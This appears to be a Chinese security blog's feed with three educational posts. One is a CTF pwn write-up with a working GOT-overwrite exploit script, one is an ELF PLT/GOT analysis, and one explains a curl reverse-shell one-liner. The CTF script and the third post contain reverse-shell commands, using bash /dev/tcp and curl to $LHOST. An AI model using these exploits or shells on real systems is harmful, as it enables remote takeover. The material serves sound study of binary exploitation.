安全 – 若水斋 https://blog.werner.wiki Try harder Sun, 12 Sep 2021 03:13:53 +0000 zh-Hans hourly 1 https://wordpress.org/?v=6.8.3 https://blog.werner.wiki/wp-content/uploads/2018/11/cropped-ql1-1-32x32.jpg 安全 – 若水斋 https://blog.werner.wiki 32 32 CTF Pwn 题目 Fridge todo list 解题记录 https://blog.werner.wiki/fridge-todo-list-write-up/ https://blog.werner.wiki/fridge-todo-list-write-up/#respond Sun, 12 Sep 2021 03:13:53 +0000 https://blog.werner.wiki/?p=2239 这是什么

Fridge todo list 是 Google CTF 2018 Quals Beginners Quest 中的一道 Pwn 题目。我最近在阅读 virusdefender 写的系列文章《二进制安全之栈溢出》,第 8 篇文章讲的是 GOT 和 PLT,其后的练习题便是这道题目。为了让学习更加有效,我决定完成这道练习题。

打开链接后我拿到了一个名为 todo 的可执行文件和它的源代码 todo.c。在完成题目之前,我决定不阅读 README.md 和 exploit.py。由于不能阅读说明文档,再加上没有参加过 CTF 比赛,我其实不知道这道题目想让我做什么。于是凭着自已的理解我定下了这样的目标——找到漏洞并成功利用。

前期检查

用 file 命令可以看到 todo 是一个 64 位动态链接的 ELF 文件。

$ file todo
todo: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=62100af46a33d62b1f40ab39375b25f9062180af, not stripped

用 checksec 命令检查 todo 开启的安全防护

$ checksec todo
[*] '/home/werner/Playground/todo'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled

看到

  • Arch:小端存储的 64 位程序
  • RELRO(read only relocation):部分开启,说明我们可能有对 GOT 的写权限
  • Stack:canary 没有开启
  • NX(no execute):开启,数据段不可执行
  • PIE(position-independent-executable):开启,如果操作系统也开启了 ASLR,程序每次运行时基址都不同

熟悉程序

直接运行 todo,发现它是一个可以保存、显示和删除待办事项的程序。部分运行输出如下所示:

$ ./todo
███████╗███╗   ███╗ █████╗ ██████╗ ████████╗    ███████╗██████╗ ██╗██████╗  ██████╗ ███████╗    ██████╗  ██████╗  ██████╗  ██████╗        
██╔════╝████╗ ████║██╔══██╗██╔══██╗╚══██╔══╝    ██╔════╝██╔══██╗██║██╔══██╗██╔════╝ ██╔════╝    ╚════██╗██╔═████╗██╔═████╗██╔═████╗       
███████╗██╔████╔██║███████║██████╔╝   ██║       █████╗  ██████╔╝██║██║  ██║██║  ███╗█████╗       █████╔╝██║██╔██║██║██╔██║██║██╔██║       
╚════██║██║╚██╔╝██║██╔══██║██╔══██╗   ██║       ██╔══╝  ██╔══██╗██║██║  ██║██║   ██║██╔══╝      ██╔═══╝ ████╔╝██║████╔╝██║████╔╝██║       
███████║██║ ╚═╝ ██║██║  ██║██║  ██║   ██║       ██║     ██║  ██║██║██████╔╝╚██████╔╝███████╗    ███████╗╚██████╔╝╚██████╔╝╚██████╔╝       
╚══════╝╚═╝     ╚═╝╚═╝  ╚═╝╚═╝  ╚═╝   ╚═╝       ╚═╝     ╚═╝  ╚═╝╚═╝╚═════╝  ╚═════╝ ╚══════╝    ╚══════╝ ╚═════╝  ╚═════╝  ╚═════╝        

 █████╗ ██████╗ ██╗   ██╗ █████╗ ███╗   ██╗ ██████╗███████╗██████╗     ████████╗ ██████╗ ██████╗  ██████╗     ██╗     ██╗███████╗████████╗
██╔══██╗██╔══██╗██║   ██║██╔══██╗████╗  ██║██╔════╝██╔════╝██╔══██╗    ╚══██╔══╝██╔═══██╗██╔══██╗██╔═══██╗    ██║     ██║██╔════╝╚══██╔══╝
███████║██║  ██║██║   ██║███████║██╔██╗ ██║██║     █████╗  ██║  ██║       ██║   ██║   ██║██║  ██║██║   ██║    ██║     ██║███████╗   ██║   
██╔══██║██║  ██║╚██╗ ██╔╝██╔══██║██║╚██╗██║██║     ██╔══╝  ██║  ██║       ██║   ██║   ██║██║  ██║██║   ██║    ██║     ██║╚════██║   ██║   
██║  ██║██████╔╝ ╚████╔╝ ██║  ██║██║ ╚████║╚██████╗███████╗██████╔╝       ██║   ╚██████╔╝██████╔╝╚██████╔╝    ███████╗██║███████║   ██║   
╚═╝  ╚═╝╚═════╝   ╚═══╝  ╚═╝  ╚═╝╚═╝  ╚═══╝ ╚═════╝╚══════╝╚═════╝        ╚═╝    ╚═════╝ ╚═════╝  ╚═════╝     ╚══════╝╚═╝╚══════╝   ╚═╝   
user: werner

Hi werner, what would you like to do?
1) Print TODO list
2) Print TODO entry
3) Store TODO entry
4) Delete TODO entry
5) Remote administration
6) Exit
> 3

In which slot would you like to store the new entry? 0
What's your TODO? study

Hi werner, what would you like to do?
1) Print TODO list
2) Print TODO entry
3) Store TODO entry
4) Delete TODO entry
5) Remote administration
6) Exit
> 2

Which entry would you like to read? 0
Your TODO: study

我输入了 %s%s%s%s%s%s%100$p 等各种 payload 做为待办事项尝试触发格式化字符串漏洞,均未成功。

发现漏洞

通过阅读源代码,获得了以下重要信息。

  1. 待办事项保存在大小固定的 char 数组全局变量 todos 中,相关代码是
#define TODO_COUNT 128
#define TODO_LENGTH 48

char todos[TODO_COUNT*TODO_LENGTH];
  1. 读或写哪一项待办事项是由用户输入的,相关边界检查是
int idx = read_int();
if (idx > TODO_COUNT) {
    puts(OUT_OF_BOUNDS_MESSAGE);
    return;
}

可以看到只检查了用户输入的 idx 是否超过了允许的最大值 TODO_COUNT,却没有检查 int 类型的 idx 是否小于 0。查看 read_int 函数的实现

int read_int() {
  char buf[128];
  read_line(buf, sizeof(buf));
  return atoi(buf);
}

看到它先读了一个字符串,再用 atoi 函数把字符串转为整数。atoi 函数是支持负数的。

如果输入负数,程序就会读或写 todos[负数*48] 地址的数据。可见 todo 存在“任意”地址数据读写漏洞。但这个“任意”是打引号的,并不是真正的任意,存在以下几点限制:

  • 只能读写比全局变量 todos 地址更小的地址的数据
  • 可以读写的地址的起点间隔 48 字节
  • 会被 \x00 截断

利用思路

讲 GOT 和 PLT 的文章后面的练习题,漏洞利用自然与 GOT 和 PLT 相关。先来查看 GOT 和 todos 的地址的相对位置。运行 todo,然后用 gdb 附加调试

$ gdb attach <todo 的 pid>

输入 gdb 命令 info variables 查看变量,部分输出如下所示

Non-debugging symbols:
0x00005588450fe2e0  _IO_stdin_used
0x00005588450fe300  BANNER
0x00005588450ff400  MENU
0x00005588450ff4a0  OUT_OF_BOUNDS_MESSAGE
0x00005588450ff7b8  __GNU_EH_FRAME_HDR
0x00005588450ffb7c  __FRAME_END__
0x00005588452ffde8  __frame_dummy_init_array_entry
0x00005588452ffde8  __init_array_start
0x00005588452ffdf0  __do_global_dtors_aux_fini_array_entry
0x00005588452ffdf0  __init_array_end
0x00005588452ffdf8  _DYNAMIC
0x0000558845300000  _GLOBAL_OFFSET_TABLE_
0x0000558845300098  __data_start
0x0000558845300098  data_start
0x00005588453000a0  __dso_handle
0x00005588453000a8  __TMC_END__
0x00005588453000a8  __bss_start
0x00005588453000a8  _edata
0x00005588453000c0  stdout
0x00005588453000c0  stdout@@GLIBC_2.2.5
0x00005588453000d0  stdin
0x00005588453000d0  stdin@@GLIBC_2.2.5
0x00005588453000d8  completed
0x00005588453000e0  username
0x0000558845300120  todo_fd
0x0000558845300140  todos
0x0000558845301940  _end
0x00007f153bf3dc47  inmask
0x00007f153bf3dd20  slashdot

可以看到 GOT 的地址是 0x0000558845300000(_GLOBAL_OFFSET_TABLE_)比 todos 的地址 0x0000558845300140 小。它们之间差了 0x140 = 320,是 48 的 6.66 倍。虽然每次运行程序地址都可能不同,但它们之间的相对位置是固定的。相差不是整数倍,但 GOT 表项很多,每个表项 8 字节,我们总可以找到恰当的一项来读或写。其实就漏洞利用来说,我们也不会尝试读 GOT 的第 0 项。

直接查看 GOT 只能看到一些地址,并不能知道 GOT 的哪项对应什么函数。因此我们查看 PLT

$ objdump -d -j .plt todo | grep '@plt'
0000000000000900 <puts@plt>:
0000000000000910 <write@plt>:
0000000000000920 <strlen@plt>:
0000000000000930 <errx@plt>:
0000000000000940 <system@plt>:
0000000000000950 <printf@plt>:
0000000000000960 <setlinebuf@plt>:
0000000000000970 <strncat@plt>:
0000000000000980 <close@plt>:
0000000000000990 <read@plt>:
00000000000009a0 <fgets@plt>:
00000000000009b0 <err@plt>:
00000000000009c0 <fflush@plt>:
00000000000009d0 <open@plt>:
00000000000009e0 <atoi@plt>:
00000000000009f0 <__ctype_b_loc@plt>:

又知道 PLT 的第 m 项是 GOT 的第 m+2 项。GOT 第 x 项的地址是 0x0000558845300000 + 8*x,todos 的地址 0x0000558845300140 减去 0x0000558845300000 + 8*x 要是 48 的整数倍,即

0x0000558845300140 - (0x0000558845300000 + 8*x) = 48*n

亦即

320 - 8*x = 48*n

亦即

6*n + x = 40

穷举可得整数解有

  • n=1, x=34
  • n=2, x=28
  • n=3, x=22
  • n=4, x=16
  • n=5, x=10
  • n=6, x=4

又知道 PLT 的最大项数是 17,所以 GOT 的最大项数是 19(19=17+2),所以 n 只能取 4、5 或 6。对应的函数是

  • n=4, open
  • n=5, strncat
  • n=6, write

小端存储的 64 位地址的最后几个字节一般来说都是 0x00,读取数据时遇到 0x00 会截断,所以只能从 GOT 中读这三个函数的地址。写数据时情况有所不同,虽然有效的地址含有 0x00,我们最多只能写入一个有效地址,但却可以在有效地址前写入 8*y 个非 0x00 的填充数据,总共覆盖 y+1 个 GOT 表项,只是只有最后一个表项被覆盖为有效地址。

阅读源代码可知 write 函数在程序最后才调用,因此只能选则读 open 函数或 strncat 函数的地址。读到某个 glibc 函数的地址,就可以跟据相对位置算出其它函数——比如 system 函数的地址。在 gdb 中,用 print 命令查看函数地址

gdb-peda$ print open
$2 = {int (const char *, int, ...)} 0x7ffff7af1d10 <__libc_open64>
gdb-peda$ print system
$3 = {int (const char *)} 0x7ffff7a31550 <__libc_system>

下次运行时,若读到 open 函数地址是 open_addr,便可算出 system 函数地址是 0x7ffff7a31550 – 0x7ffff7af1d10 + open_addr。

假设已经知道了 system 函数的地址,该怎样利用呢?

我们可以把某个函数的 GOT 表项覆盖为 system 函数的地址,并设法使该函数在下次调用时的参数是我们想要执行的 sh 命令字符串地址。逐个检查后发现 atoi 函数是最合适的,因为

  • 它接受一个字符串地址做参数
  • 它的参数是用户可以控制的

atoi 函数是 PLT 的第 15 项,所以是 GOT 的第 17 项。n 取 4 时是第 16 项,再加上 8 字节的填充即可覆盖第 17 项。

攻击脚本

按上面的思路,用 pwnlib 可以写出如下的攻击脚本

from pwn import *
from pwnlib.tubes import process

todo = process.process('./todo')
todo.recv()
todo.recv()
todo.sendline('admin')
todo.recv()

todo.sendline('2')
todo.recv()
todo.sendline('-4')    #  n=4,读 open 函数的 GOT 表项
r = todo.recv()
open_addr = u64(r[11:17]+'\x00\x00')
print("open_addr is {}".format(hex(open_addr)))

system_addr = 0x7ffff7a31550 - 0x7ffff7af1d10 + open_addr    # 计算 system 函数的地址
print("system_addr is {}".format(hex(system_addr)))

todo.sendline('3')
todo.recv()
todo.sendline('-4')
todo.recv()
todo.sendline('A'*8 + p64(system_addr))    # 覆盖 atoi 函数的 GOT 表项为 system 函数地址
todo.recv()

# 输入要执行的 sh 命令,这里写的是一个反弹 shell 命令
todo.sendline('bash -c "bash -i >&/dev/tcp/127.0.0.1/10001 0>&1"')
todo.recv()

运行如上所示的攻击脚本,成攻获得反弹 shell。

]]>
https://blog.werner.wiki/fridge-todo-list-write-up/feed/ 0
ELF 文件 PLT 和 GOT 静态分析 https://blog.werner.wiki/elf-plt-got-static-analysis/ https://blog.werner.wiki/elf-plt-got-static-analysis/#respond Sun, 05 Sep 2021 03:53:36 +0000 https://blog.werner.wiki/?p=2231 摘要

本文将对一个特意构造的、十分简单的、64 位的 ELF 文件的 PLT(Procedure Linkage Table)和 GOT(Global Offset Table)进行静态分析。目的是

  • 验证所学的关于 PLT 和 GOT 的相关知识
  • 加深对所学知识的理解和记忆
  • 记录分析时用到的命令以备忘

背景知识

关于什么是 PLT 和 GOT,可阅读海枫发表于 2016 年 6~7 月的系列文章

准备 ELF 文件

准备一个简单的 ELF 文件,源码如下所示

/* test.c */
#include <stdio.h>

int main() {
    int integer;
    printf("Enter an integer: ");
    scanf("%d", &integer);  
    printf("Number = %d\n", integer);
    return 0;
}

这段代码中 printf 和 scranf 这两个函数需要在运行时确定函数地址,即需用到 PLT 和 GOT。

用如下命令编译

gcc test.c -z norelro -fno-stack-protector -o test

简单起见,使用 gcc 选项 -z norelro 关闭了 RELRO,-fno-stack-protector 关闭了 CANNARY。

查看编译出的可执行文件

$ file test
test: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=779ce5dad37fc44d6106c16adae2c7557d775101, not stripped

试运行

$ ./test
Enter an integer: 1
Number = 1

查看 ELF 所有段

使用 readelf 命令可例出一个 ELF 文件的所有段。选项 --section-headers(可简写为 -S)的含义是 Display the sections' header--wide(可简写为 -W)的含义是 Allow output width to exceed 80 characters

$ readelf --section-headers --wide test
There are 30 section headers, starting at offset 0x1490:

Section Headers:
  [Nr] Name              Type            Address          Off    Size   ES Flg Lk Inf Al
  [ 0]                   NULL            0000000000000000 000000 000000 00      0   0  0
  [ 1] .interp           PROGBITS        0000000000000200 000200 00001c 00   A  0   0  1
  [ 2] .note.ABI-tag     NOTE            000000000000021c 00021c 000020 00   A  0   0  4
  [ 3] .note.gnu.build-id NOTE            000000000000023c 00023c 000024 00   A  0   0  4
  [ 4] .gnu.hash         GNU_HASH        0000000000000260 000260 00001c 00   A  5   0  8
  [ 5] .dynsym           DYNSYM          0000000000000280 000280 0000c0 18   A  6   1  8
  [ 6] .dynstr           STRTAB          0000000000000340 000340 00009d 00   A  0   0  1
  [ 7] .gnu.version      VERSYM          00000000000003de 0003de 000010 02   A  5   0  2
  [ 8] .gnu.version_r    VERNEED         00000000000003f0 0003f0 000030 00   A  6   1  8
  [ 9] .rela.dyn         RELA            0000000000000420 000420 0000c0 18   A  5   0  8
  [10] .rela.plt         RELA            00000000000004e0 0004e0 000030 18  AI  5  23  8
  [11] .init             PROGBITS        0000000000000510 000510 000017 00  AX  0   0  4
  [12] .plt              PROGBITS        0000000000000530 000530 000030 10  AX  0   0 16
  [13] .plt.got          PROGBITS        0000000000000560 000560 000008 08  AX  0   0  8
  [14] .text             PROGBITS        0000000000000570 000570 0001d2 00  AX  0   0 16
  [15] .fini             PROGBITS        0000000000000744 000744 000009 00  AX  0   0  4
  [16] .rodata           PROGBITS        0000000000000750 000750 000027 00   A  0   0  4
  [17] .eh_frame_hdr     PROGBITS        0000000000000778 000778 00003c 00   A  0   0  4
  [18] .eh_frame         PROGBITS        00000000000007b8 0007b8 000108 00   A  0   0  8
  [19] .init_array       INIT_ARRAY      00000000002008c0 0008c0 000008 08  WA  0   0  8
  [20] .fini_array       FINI_ARRAY      00000000002008c8 0008c8 000008 08  WA  0   0  8
  [21] .dynamic          DYNAMIC         00000000002008d0 0008d0 0001f0 10  WA  6   0  8
  [22] .got              PROGBITS        0000000000200ac0 000ac0 000028 08  WA  0   0  8
  [23] .got.plt          PROGBITS        0000000000200ae8 000ae8 000028 08  WA  0   0  8
  [24] .data             PROGBITS        0000000000200b10 000b10 000010 00  WA  0   0  8
  [25] .bss              NOBITS          0000000000200b20 000b20 000008 00  WA  0   0  1
  [26] .comment          PROGBITS        0000000000000000 000b20 000029 01  MS  0   0  1
  [27] .symtab           SYMTAB          0000000000000000 000b50 000618 18     28  44  8
  [28] .strtab           STRTAB          0000000000000000 001168 00021e 00      0   0  1
  [29] .shstrtab         STRTAB          0000000000000000 001386 000107 00      0   0  1
Key to Flags:
  W (write), A (alloc), X (execute), M (merge), S (strings), I (info),
  L (link order), O (extra OS processing required), G (group), T (TLS),
  C (compressed), x (unknown), o (OS specific), E (exclude),
  l (large), p (processor specific)

其中与 PLT 和 GOT 有关的段是 .plt 和 .got.plt。下面我们将查看并分析这两个段的内容。此外还注意到 .dynamic 段的地址是 0x00000000002008d0,后文有相关内容。

.plt 段

PLT 中的每一项都是一小段代码,所以使用 objdump 命令查看 .plt 段的内容时添加反汇编参数。选项 --disassemble(可简写为 -d)的含义是 Display assembler contents of executable sections--full-contents(可简写为 -s)的含义是 Display the full contents of all sections requested--section(可简写为 -j)的含义是 Display information only for section name

$ objdump --disassemble --full-contents --section=.plt test

test:     file format elf64-x86-64

Contents of section .plt:
 0530 ff35ba05 2000ff25 bc052000 0f1f4000  .5.. ..%.. ...@.
 0540 ff25ba05 20006800 000000e9 e0ffffff  .%.. .h.........
 0550 ff25b205 20006801 000000e9 d0ffffff  .%.. .h.........

Disassembly of section .plt:

0000000000000530 <.plt>:
 530:   ff 35 ba 05 20 00       pushq  0x2005ba(%rip)        # 200af0 <_GLOBAL_OFFSET_TABLE_+0x8>
 536:   ff 25 bc 05 20 00       jmpq   *0x2005bc(%rip)        # 200af8 <_GLOBAL_OFFSET_TABLE_+0x10>
 53c:   0f 1f 40 00             nopl   0x0(%rax)

0000000000000540 <printf@plt>:
 540:   ff 25 ba 05 20 00       jmpq   *0x2005ba(%rip)        # 200b00 <printf@GLIBC_2.2.5>
 546:   68 00 00 00 00          pushq  $0x0
 54b:   e9 e0 ff ff ff          jmpq   530 <.plt>

0000000000000550 <__isoc99_scanf@plt>:
 550:   ff 25 b2 05 20 00       jmpq   *0x2005b2(%rip)        # 200b08 <__isoc99_scanf@GLIBC_2.7>
 556:   68 01 00 00 00          pushq  $0x1
 55b:   e9 d0 ff ff ff          jmpq   530 <.plt>

可以看到共有 3 个 PLT 表项,第 0 个表项(.plt)是共公 plt 表项,第 1 个表项(printf@plt)是 printf 函数对应的 PLT 表项,第 2 个表项(__isoc99_scanf@plt)是 scanf 函数对应的 PLT 表项。

.got.plt 段

GOT 的每一项都是一个地址,因此不用进行反汇编。同样使用 objdump 命令查看。

$ objdump --full-contents --section=.got.plt test

test:     file format elf64-x86-64

Contents of section .got.plt:
 200ae8 d0082000 00000000 00000000 00000000  .. .............
 200af8 00000000 00000000 46050000 00000000  ........F.......
 200b08 56050000 00000000                    V.......

64 位系统中地址长度是 64 比特,也就是 8 字节。按 8 字节一项并调整字节序后可得 GOT 的内容是

第几项 地址 内容 备注
0 0x200ae8 0x00000000002008d0 .dynamic 段地址
1 0x200af0 0x0000000000000000 本镜像的link_map数据结构地址,未运行无法确定,故以全 0 填充
2 0x200af8 0x0000000000000000 _dl_runtime_resolve 函数地址,未运行无法确定,故以全 0 填充
3 0x200b00 0x0000000000000546 printf 对应的 GOT 表项,内容是 printf 的 PLT 表项地址加 6
4 0x200b08 0x0000000000000556 scanf 对应的 GOT 表项,内容是 scanf 的 PLT 表项地址加 6

分析

以 printf 函数为例,分析 PLT 和 GOT 的工作过程。

反汇编 main 函数(以下命令输出删除了无关内容)

$ objdump --disassemble --full-contents --section=.text test

000000000000067a <main>:
 67a:   55                      push   %rbp
 67b:   48 89 e5                mov    %rsp,%rbp
 67e:   48 83 ec 10             sub    $0x10,%rsp
 682:   48 8d 3d cb 00 00 00    lea    0xcb(%rip),%rdi        # 754 <_IO_stdin_used+0x4>
 689:   b8 00 00 00 00          mov    $0x0,%eax
 68e:   e8 ad fe ff ff          callq  540 <printf@plt>
 693:   48 8d 45 fc             lea    -0x4(%rbp),%rax
 697:   48 89 c6                mov    %rax,%rsi
 69a:   48 8d 3d c6 00 00 00    lea    0xc6(%rip),%rdi        # 767 <_IO_stdin_used+0x17>
 6a1:   b8 00 00 00 00          mov    $0x0,%eax
 6a6:   e8 a5 fe ff ff          callq  550 <__isoc99_scanf@plt>
 6ab:   8b 45 fc                mov    -0x4(%rbp),%eax
 6ae:   89 c6                   mov    %eax,%esi
 6b0:   48 8d 3d b3 00 00 00    lea    0xb3(%rip),%rdi        # 76a <_IO_stdin_used+0x1a>
 6b7:   b8 00 00 00 00          mov    $0x0,%eax
 6bc:   e8 7f fe ff ff          callq  540 <printf@plt>
 6c1:   b8 00 00 00 00          mov    $0x0,%eax
 6c6:   c9                      leaveq 
 6c7:   c3                      retq   
 6c8:   0f 1f 84 00 00 00 00    nopl   0x0(%rax,%rax,1)
 6cf:   00

看到 main 函数调用 printf 函数的指令是 callq 540,0x540 正是 printf 函数的 PLT 表项的地址。反汇编结果里的 <printf@plt> 也明确地指出了这一点。

0x540 地址开始的几条指令是

 540:    ff 25 ba 05 20 00        jmpq   *0x2005ba(%rip)        # 200b00 <printf@GLIBC_2.2.5>
 546:    68 00 00 00 00           pushq  $0x0
 54b:    e9 e0 ff ff ff           jmpq   530 <.plt>

看到它跳转到了 0x2005ba(%rip) 指向的地址,0x2005ba(%rip) 的内容在反汇编结果的注释中给出了,是 0x200b00。0x200b00 正是 printf 函数的 GOT 表项的地址,其内容是 0x0000000000000546,这个地址实际上是 printf 的 PLT 表项地址加 6。可见 0x540 处的 jmpq 指令实际上跳到了 0x546 处,相当于没有跳转。0x546 处的 pushq 指令将 0x00 压栈,可以理解为接下来要调用的函数的参数。接着 0x54b 处的 jmpq 指令跳转到了 0x530 即 PLT 表的第 0 项。

0x530 地址开始的几条指令是

 530:    ff 35 ba 05 20 00        pushq  0x2005ba(%rip)        # 200af0 <_GLOBAL_OFFSET_TABLE_+0x8>
 536:    ff 25 bc 05 20 00        jmpq   *0x2005bc(%rip)        # 200af8 <_GLOBAL_OFFSET_TABLE_+0x10>
 53c:    0f 1f 40 00              nopl   0x0(%rax)

先是把 0x200af0 即 GOT 表的第 1 项压栈,接着跳转到 0x200af8 即 GOT 表的第 2 项亦即 _dl_runtime_resolve 函数,解析 pritnf 函数真正的地址。之后会执行 pritnf,并将 pritnf 函数真正的地址写到 printf 对应的 GOT 表项中。这样下次调用 ptinf 函数时 0x540 处的 jmpq 指令会直接跳转到 pritnf 函数真正的地址,不用再调用 _dl_runtime_resolve。

]]>
https://blog.werner.wiki/elf-plt-got-static-analysis/feed/ 0
curl 反弹 shell 原理 https://blog.werner.wiki/curl-reverse-shell-principle/ https://blog.werner.wiki/curl-reverse-shell-principle/#respond Tue, 16 Feb 2021 02:19:48 +0000 https://blog.werner.wiki/?p=1842 &-;} 3>&1|: 的工作原理。]]> 在某社交网站上看到一句 curl 反弹 shell 命令:

{ curl -sNkT . https://$LHOST:$LPORT </dev/fd/3| sh 3>&-;} 3>&1|:

这句命令就像魔法一样神奇,和常见的反弹 shell 命令大相径庭。我花了些时间才理解它是如何工作的。

本文将简要叙述它的工作原理,但不会涉及反弹 shell 的基础知识。如果读者缺乏这些基础知识,可参考《Linux反弹shell(一)文件描述符与重定向》和《Linux 反弹shell(二)反弹shell的本质》。

预备知识

冒号

命令的最后一个字符冒号是个鲜为人知的 Bash 内置命令,用 man bash 查看手册可以找到如下的说明:

: [参数]
    无效;除了扩展参数和执行任何指定的重定向外,该命令没有任何作用。返回的退出码为 0。

花括号

在 Bash 中,花括号有多种不同的用法,详情见《浅析 Bash 中的 {花括号}》。在我们尝试理解的魔法命令中用到了其中一种:可以在花括号中写多条命令,这些命令构成一个命令组,花括号后的重定向将对命令组中所有命令生效。

例如执行如下命令:

{ echo 1 ; echo 2 ; } > out.txt

会发现屏幕没有任何输出,out.txt 的内容是:

1
2

可见两条 echo 命令的标准输出都被重定向到了文件 out.txt

需要注意的是,命令组中最后一条命令的后面也需要添加分号,以明确标识命令结束,否则 Bash 的语法解析器将无法正确解析。

另外,命令组的重定向优先级低于组内命令自身的重定向。例如执行如下命令:

{ echo 1 > inner.txt ; echo 2 ; } > outer.txt

会发现第一个 echo 命令的输出被重定向到了 inner.txt,而不是 outer.txt

/dev/fd/

/dev/fd/ 是指向 /proc/self/fd 的软链接。

$ ls -l /dev/fd
lrwxrwxrwx 1 root root 13 Jan 30 12:23 /dev/fd -> /proc/self/fd

/proc/self 是一个特殊的软链接。当有进程查询该软链接的值时,Linux 内核会将 /proc/self 指向 /proc/<该进程的 PID>

curl 参数

使用 man curl 可以查询到魔法命令中 curl 各个参数的含义,整理后列举如下:

  • -s, –silent:不显示进度或错误信息。但仍会传输指定数据或输出内容到 stdout
  • -N, –no-buffer:禁用输出流的缓冲功能。正常情况下,curl 会使用一个标准的缓冲输出流,它的作用是将数据分块输出,而不是数据到达后立即输出。可使用该选项禁用这种缓冲。
  • -k, –insecure:忽略证书错误。
  • -T, –upload-file :上传指定本地文件到远程 URL。可用 - 做文件名以从 stdin 读取文件内容;也可用 . 做文件名,以非阻塞模式从 stdin 读取文件内容。非阻塞模式是指可从 stdin 读取文件内容的同时读取服务端输出。

语法分析

为理解魔法命令,我们先对其进行语法分析。

魔法命令被倒数第二个字符 | (管道)分为前后两部分,如下图所示。

                                                                       +-------+
                                                                       |       |
                                                                       |   |   |
                                                                       |       |
                                                                       +-+---+-+
                                                                         |   |
+-----------------------------------------------------------------+      |   |       +-------+
|                                                                 |      |   |       |       |
| { curl -sNkT . https://$LHOST:$LPORT </dev/fd/3| sh 3>&-;} 3>&1 +------+   +-------+   :   |
|                                                                 |                  |       |
+-----------------------------------------------------------------+                  +-------+

前半部分是写在花括号中的命令组,命令组中包含由管道连接的两条命令,如下图所示。

                                +-------+
                                |       |
                                |   |   |
                                |       |
                                +-+---+-+
                                  |   |
              +------------+      |   |       +-------+
              |            |      |   |       |       |
              | {...} 3>&1 +------+   +-------+   :   |
              |            |                  |       |
              +------+-----+                  +-------+
                     |
              +------+-----+
              |            |
              |      |     |
              |            |
              +---+---+----+
                  |   |
                  |   +-------------------------------------+
                  |                                         |
+-----------------+------------------------------+    +-----+----+
|                                                |    |          |
|  curl -sNkT . https://$LHOST:$LPORT </dev/fd/3 |    | sh 3>&-; |
|                                                |    |          |
+------------------------------------------------+    +----------+

fd 重定向分析

完成语法分析后可对 fd 重定向情况进行分析。

假设执行这条命令的 Bash 的 stdinstdout 都是 pts/0。外层 |(倒数第二个字符)产生的匿名管道为 pipe1,内层 |(curl 和 sh 之间的管道)产生的匿名管道为 pipe2

可标注出外层 | 前后命令的 fd 如下图所示。

                                                                       +-------+
                                                                       |       |
                                                                       |   |   |
                                                                       |       |
                                                                       +-+---+-+
                                                                         |   |
+-----------------------------------------------------------------+      |   |       +-------+
|                                                                 |      |   |       |       |
| { curl -sNkT . https://$LHOST:$LPORT </dev/fd/3| sh 3>&-;} 3>&1 +------+   +-------+   :   |
|                                                                 |                  |       |
+-----------------------------------------------------------------+                  +-------+

                         stdin : pts/0                                              stdin : pipe1
                         stdout: pipe1                                              stdout: pts/0

命令组后的 3>&1 将 fd 3 重定向到了 fd 1,即 stdout,如下图所示。

                                                                  +-------+
                                                                  |       |
                                                                  |   |   |
                                                                  |       |
                                                                  +-+---+-+
                                                                    |   |
+------------------------------------------------------------+      |   |       +-------+
|                                                            |      |   |       |       |
| { curl -sNkT . https://$LHOST:$LPORT </dev/fd/3| sh 3>&-;} +------+   +-------+   :   |
|                                                            |                  |       |
+------------------------------------------------------------+                  +-------+

                         stdin : pts/0                                         stdin : pipe1
                         stdout: pipe1                                         stdout: pts/0
                         fd 3  : pipe1

命令组中的命令会继承 {} 的 fd,同时命令组中两条命令也由一个管道连接,综合这两点可标注出 curl 和 sh 的 fd 如下图所示。

                                 +-------+
                                 |       |
                                 |   |   |
                                 |       |
                                 +-+---+-+
                                   |   |
               +------------+      |   |       +-------+
stdin : pts/0  |            |      |   |       |       |
stdout: pipe1  | {...} 3>&1 +------+   +-------+   :   |
fd 3  : pipe1  |            |                  |       |
               +------+-----+                  +-------+
                      |
               +------+-----+                 stdin : pipe1
               |            |                 stdout: pts/0
               |      |     |
               |            |
               +---+---+----+
                   |   |
                   |   +-------------------------------------+
                   |                                         |
 +-----------------+------------------------------+    +-----+----+
 |                                                |    |          |
 |  curl -sNkT . https://$LHOST:$LPORT </dev/fd/3 |    | sh 3>&-; |
 |                                                |    |          |
 +------------------------------------------------+    +----------+

                 stdin : pts/0                         stdin : pipe2
                 stdout: pipe2                         stdout: pipe1
                 fd 3  : pipe1                         fd 3  : pipe1

curl 和 sh 各自又有一个重定向。curl 的 </dev/fd/3 表示把 stdin 重定向为 fd 3,即 pipe1。sh 的 3>&- 表示关闭 fd 3。考虑到这两个重定向,最后可得到下图。

                                 +-------+
                                 |       |
                                 |   |   |
                                 |       |
                                 +-+---+-+
                                   |   |
               +------------+      |   |       +-------+
stdin : pts/0  |            |      |   |       |       |
stdout: pipe1  | {...} 3>&1 +------+   +-------+   :   |
fd 3  : pipe1  |            |                  |       |
               +------+-----+                  +-------+
                      |
               +------+-----+                 stdin : pipe1
               |            |                 stdout: pts/0
               |      |     |
               |            |
               +---+---+----+
                   |   |
                   |   +-------------------------------------+
                   |                                         |
 +-----------------+--------------------+              +-----+----+
 |                                      |              |          |
 |  curl -sNkT . https://$LHOST:$LPORT  |              |    sh    |
 |                                      |              |          |
 +--------------------------------------+              +----------+

                stdin : pipe1                          stdin : pipe2
                stdout: pipe2                          stdout: pipe1
                fd 3  : pipe1

从上图可以很清晰地看出,curl 的 stdin 和 sh 的 stdout、 sh 的 stdin 和 curl 的 stdout 分别通过匿名管道 pipe1pipe2 相连。

工作原理

至此,我们已经基本弄清了魔法命令的工作原理,总结如下:利用 Bash 语法:命令组、管道和重定向等让 curl 命令和 sh 命令的 stdinstdout 交错相连;又添加 -T 等参数和文件名 . 让 curl 读取 stdin 的内容发送到服务端,同时读取服务端返回的数据并输出到 stdout

遗留问题

为何要关闭 sh 命令的 fd 3?

测试发现其实不关闭 sh 命令的 fd 3 反弹 shell 也可以正常工作。

: 命令的作用是什么?

